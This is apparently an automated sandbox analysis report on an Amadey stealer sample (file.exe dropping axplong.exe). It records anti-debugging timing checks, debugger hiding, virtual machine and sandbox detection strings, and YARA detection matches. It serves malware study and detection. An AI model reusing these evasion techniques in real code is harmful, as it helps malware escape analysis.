                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F40C46 second address: 4F40C87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FA955157A01h 0x0000000a and eax, 2B32E3E6h 0x00000010 jmp 00007FA955157A01h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FA9551579FDh 0x00000021 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F40C87 second address: 4F40D0A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA954E703D7h 0x00000009 add cl, FFFFFFCEh 0x0000000c jmp 00007FA954E703D9h 0x00000011 popfd 0x00000012 mov ch, E9h 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov ebp, esp 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007FA954E703D9h 0x00000020 or ax, 26B6h 0x00000025 jmp 00007FA954E703D1h 0x0000002a popfd 0x0000002b mov edi, esi 0x0000002d popad 0x0000002e pop ebp 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 mov edi, 76C3514Ah 0x00000037 mov ebx, 526D3816h 0x0000003c popad 0x0000003d rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F40D0A second address: 4F40D10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4FB0DB2 second address: 4FB0DBC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop edi 0x0000000a rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4FB0DBC second address: 4FB0DF3 instructions: 0x00000000 rdtsc 0x00000002 mov di, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a call 00007FA9551579FEh 0x0000000f mov bh, ch 0x00000011 pop ebx 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 popad 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FA955157A02h 0x00000021 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4FB0DF3 second address: 4FB0E4A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA954E703D1h 0x00000009 add ch, FFFFFF96h 0x0000000c jmp 00007FA954E703D1h 0x00000011 popfd 0x00000012 jmp 00007FA954E703D0h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FA954E703D7h 0x00000022 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4FB022D second address: 4FB0266 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA955157A07h 0x00000009 jmp 00007FA955157A03h 0x0000000e popfd 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4FB0266 second address: 4FB027D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA954E703D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4FB027D second address: 4FB02B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA955157A09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FA955157A08h 0x00000015 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4FB02B9 second address: 4FB02C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA954E703CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4FB02C8 second address: 4FB02CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4FB02CE second address: 4FB02D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4FB0025 second address: 4FB0078 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 0DB83EA2h 0x00000008 call 00007FA955157A03h 0x0000000d pop eax 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 pushad 0x00000013 mov di, si 0x00000016 pushfd 0x00000017 jmp 00007FA955157A00h 0x0000001c sub esi, 7FE39A68h 0x00000022 jmp 00007FA9551579FBh 0x00000027 popfd 0x00000028 popad 0x00000029 xchg eax, ebp 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d mov dx, 79D6h 0x00000031 mov dl, 5Dh 0x00000033 popad 0x00000034 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4FB0078 second address: 4FB007E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4FB007E second address: 4FB0082 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F50012 second address: 4F50036 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA954E703CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007FA954E703CBh 0x00000012 pop eax 0x00000013 mov di, FDDCh 0x00000017 popad 0x00000018 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F50036 second address: 4F5005D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA955157A02h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA9551579FEh 0x00000011 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F5005D second address: 4F500A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007FA954E703D7h 0x0000000b or ecx, 34CBDF6Eh 0x00000011 jmp 00007FA954E703D9h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F500A4 second address: 4F500A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F500A8 second address: 4F500AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F500AC second address: 4F500B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F500B2 second address: 4F50106 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA954E703D0h 0x00000008 mov esi, 1F3DB871h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov ebp, esp 0x00000012 pushad 0x00000013 call 00007FA954E703CAh 0x00000018 pushfd 0x00000019 jmp 00007FA954E703D2h 0x0000001e sub cx, 9078h 0x00000023 jmp 00007FA954E703CBh 0x00000028 popfd 0x00000029 pop esi 0x0000002a push eax 0x0000002b push edx 0x0000002c mov ebx, 683BDE9Ah 0x00000031 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4FB04D3 second address: 4FB04F1 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, 7D9ABBCFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FA955157A01h 0x00000012 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4FB04F1 second address: 4FB04F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4FB04F7 second address: 4FB04FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4FB04FB second address: 4FB052B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA954E703D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FA954E703D4h 0x00000013 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F6045C second address: 4F6048E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007FA955157A04h 0x0000000c and ah, 00000048h 0x0000000f jmp 00007FA9551579FBh 0x00000014 popfd 0x00000015 popad 0x00000016 xchg eax, ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F6048E second address: 4F60492 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F60492 second address: 4F60498 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F60498 second address: 4F604E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA954E703CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e call 00007FA954E703CDh 0x00000013 pop ecx 0x00000014 pushfd 0x00000015 jmp 00007FA954E703D1h 0x0000001a xor eax, 4EBEA3C6h 0x00000020 jmp 00007FA954E703D1h 0x00000025 popfd 0x00000026 popad 0x00000027 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F60684 second address: 4F606E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA955157A07h 0x00000009 or esi, 08D0861Eh 0x0000000f jmp 00007FA955157A09h 0x00000014 popfd 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a sub esp, 1Ch 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 call 00007FA955157A09h 0x00000025 pop esi 0x00000026 push edx 0x00000027 pop esi 0x00000028 popad 0x00000029 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F606E7 second address: 4F6070F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA954E703CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA954E703D7h 0x00000011 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F6070F second address: 4F607D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, cx 0x00000006 call 00007FA955157A00h 0x0000000b pop esi 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 push ecx 0x00000012 mov esi, edi 0x00000014 pop ebx 0x00000015 pushfd 0x00000016 jmp 00007FA955157A06h 0x0000001b xor esi, 518D7268h 0x00000021 jmp 00007FA9551579FBh 0x00000026 popfd 0x00000027 popad 0x00000028 xchg eax, ebx 0x00000029 jmp 00007FA955157A06h 0x0000002e xchg eax, esi 0x0000002f pushad 0x00000030 pushfd 0x00000031 jmp 00007FA9551579FEh 0x00000036 jmp 00007FA955157A05h 0x0000003b popfd 0x0000003c mov ecx, 6E155727h 0x00000041 popad 0x00000042 push eax 0x00000043 jmp 00007FA9551579FDh 0x00000048 xchg eax, esi 0x00000049 pushad 0x0000004a mov dx, si 0x0000004d call 00007FA955157A08h 0x00000052 mov edx, eax 0x00000054 pop esi 0x00000055 popad 0x00000056 push esp 0x00000057 push eax 0x00000058 push edx 0x00000059 pushad 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F607D2 second address: 4F60805 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FA954E703D5h 0x0000000a or ecx, 3549B756h 0x00000010 jmp 00007FA954E703D1h 0x00000015 popfd 0x00000016 popad 0x00000017 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F60805 second address: 4F6080B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                      Tries to evade debugger and weak emulator (self modifying code)
                      Source: C:\Users\user\Desktop\file.exeSpecial instruction interceptor: First address: 2EEA88 instructions caused by: Self-modifying code
                      Source: C:\Users\user\Desktop\file.exeSpecial instruction interceptor: First address: 4B86E7 instructions caused by: Self-modifying code
                      Source: C:\Users\user\Desktop\file.exeSpecial instruction interceptor: First address: 519747 instructions caused by: Self-modifying code
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSpecial instruction interceptor: First address: D4EA88 instructions caused by: Self-modifying code
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSpecial instruction interceptor: First address: F186E7 instructions caused by: Self-modifying code
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSpecial instruction interceptor: First address: F79747 instructions caused by: Self-modifying code
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeRegistry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDescJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeRegistry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersionJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeRegistry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersionJump to behavior
                      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_04FB09F8 rdtsc 0_2_04FB09F8
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeThread delayed: delay time: 180000Jump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow / User API: threadDelayed 368Jump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow / User API: threadDelayed 578Jump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow / User API: threadDelayed 561Jump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow / User API: threadDelayed 1862Jump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow / User API: threadDelayed 554Jump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow / User API: threadDelayed 3760Jump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2056Thread sleep time: -46023s >= -30000sJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 1608Thread sleep count: 368 > 30Jump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 1608Thread sleep time: -736368s >= -30000sJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 1068Thread sleep count: 578 > 30Jump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 1068Thread sleep time: -1156578s >= -30000sJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 3548Thread sleep count: 333 > 30Jump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 3548Thread sleep time: -9990000s >= -30000sJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6616Thread sleep time: -180000s >= -30000sJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 5440Thread sleep count: 561 > 30Jump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 5440Thread sleep time: -1122561s >= -30000sJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2916Thread sleep count: 1862 > 30Jump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2916Thread sleep time: -3725862s >= -30000sJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 5888Thread sleep count: 554 > 30Jump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 5888Thread sleep time: -1108554s >= -30000sJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2916Thread sleep count: 3760 > 30Jump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2916Thread sleep time: -7523760s >= -30000sJump to behavior
                      Source: C:\Users\user\Desktop\file.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeThread delayed: delay time: 30000Jump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeThread delayed: delay time: 180000Jump to behavior
                      Source: axplong.exe, axplong.exe, 0000000A.00000002.4177987870.0000000000EC8000.00000040.00000001.01000000.00000007.sdmpBinary or memory string: HARDWARE\ACPI\DSDT\VBOX__
                      Source: axplong.exe, 00000001.00000002.4188372534.0000000001743000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW;
                      Source: axplong.exe, 00000001.00000002.4188372534.0000000001743000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000001.00000002.4188372534.0000000001701000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
                      Source: file.exe, 00000000.00000002.1794333755.0000000000468000.00000040.00000001.01000000.00000003.sdmp, axplong.exe, 00000001.00000002.4187640247.0000000000EC8000.00000040.00000001.01000000.00000007.sdmp, axplong.exe, 00000002.00000002.1849953616.0000000000EC8000.00000040.00000001.01000000.00000007.sdmp, axplong.exe, 00000006.00000002.2368735525.0000000000EC8000.00000040.00000001.01000000.00000007.sdmp, axplong.exe, 00000008.00000002.2979205128.0000000000EC8000.00000040.00000001.01000000.00000007.sdmp, axplong.exe, 00000009.00000002.3570874379.0000000000EC8000.00000040.00000001.01000000.00000007.sdmp, axplong.exe, 0000000A.00000002.4177987870.0000000000EC8000.00000040.00000001.01000000.00000007.sdmpBinary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
                      Source: C:\Users\user\Desktop\file.exeSystem information queried: ModuleInformationJump to behavior
                      Source: C:\Users\user\Desktop\file.exeProcess information queried: ProcessInformationJump to behavior

                      Anti Debugging

                      barindex
                      Hides threads from debuggers
                      Source: C:\Users\user\Desktop\file.exeThread information set: HideFromDebuggerJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeThread information set: HideFromDebuggerJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeThread information set: HideFromDebuggerJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeThread information set: HideFromDebuggerJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeThread information set: HideFromDebuggerJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeThread information set: HideFromDebuggerJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeThread information set: HideFromDebuggerJump to behavior
                      Potentially malicious time measurement code found
                      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_04FB08CB Start: 04FB0A76 End: 04FB09050_2_04FB08CB
                      Tries to detect sandboxes and other dynamic analysis tools (window names)
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeOpen window title or class name: regmonclass
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeOpen window title or class name: gbdyllo
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeOpen window title or class name: process monitor - sysinternals: www.sysinternals.com
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeOpen window title or class name: procmon_window_class
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeOpen window title or class name: registry monitor - sysinternals: www.sysinternals.com
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeOpen window title or class name: ollydbg
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeOpen window title or class name: filemonclass
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeOpen window title or class name: file monitor - sysinternals: www.sysinternals.com
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeFile opened: NTICE
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeFile opened: SICE
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeFile opened: SIWVID
                      Source: C:\Users\user\Desktop\file.exeProcess queried: DebugPortJump to behavior
                      Source: C:\Users\user\Desktop\file.exeProcess queried: DebugPortJump to behavior
                      Source: C:\Users\user\Desktop\file.exeProcess queried: DebugPortJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeProcess queried: DebugPortJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeProcess queried: DebugPortJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeProcess queried: DebugPortJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeProcess queried: DebugPortJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeProcess queried: DebugPortJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeProcess queried: DebugPortJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeProcess queried: DebugPortJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeProcess queried: DebugPortJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeProcess queried: DebugPortJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeProcess queried: DebugPortJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeProcess queried: DebugPortJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeProcess queried: DebugPortJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeProcess queried: DebugPortJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeProcess queried: DebugPortJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeProcess queried: DebugPortJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeProcess queried: DebugPortJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeProcess queried: DebugPortJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeProcess queried: DebugPortJump to behavior
                      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_04FB09F8 rdtsc 0_2_04FB09F8
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeCode function: 1_2_00D1645B mov eax, dword ptr fs:[00000030h]1_2_00D1645B
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeCode function: 1_2_00D1A1C2 mov eax, dword ptr fs:[00000030h]1_2_00D1A1C2
                      Source: C:\Users\user\Desktop\file.exeProcess created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe" Jump to behavior
                      Source: axplong.exe, axplong.exe, 0000000A.00000002.4177987870.0000000000EC8000.00000040.00000001.01000000.00000007.sdmpBinary or memory string: :Program Manager
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeCode function: 1_2_00CFD312 cpuid 1_2_00CFD312
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeQueries volume information: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe VolumeInformationJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeCode function: 1_2_00CFCB1A GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,1_2_00CFCB1A

                      Stealing of Sensitive Information

                      barindex
                      Yara detected Amadeys stealer DLL
                      Source: Yara matchFile source: 10.2.axplong.exe.ce0000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 9.2.axplong.exe.ce0000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.file.exe.280000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 2.2.axplong.exe.ce0000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 8.2.axplong.exe.ce0000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 6.2.axplong.exe.ce0000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.axplong.exe.ce0000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 00000001.00000003.1806644631.0000000005260000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000002.00000002.1849863375.0000000000CE1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000000.00000003.1753740859.0000000004DE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000006.00000002.2368636814.0000000000CE1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000002.4187544382.0000000000CE1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000008.00000003.2934260432.0000000004B80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000009.00000003.3527716082.00000000048E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000008.00000002.2978601103.0000000000CE1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000000A.00000003.4135878691.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000006.00000003.2328198252.0000000005350000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000000A.00000002.4177804471.0000000000CE1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000009.00000002.3570626421.0000000000CE1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
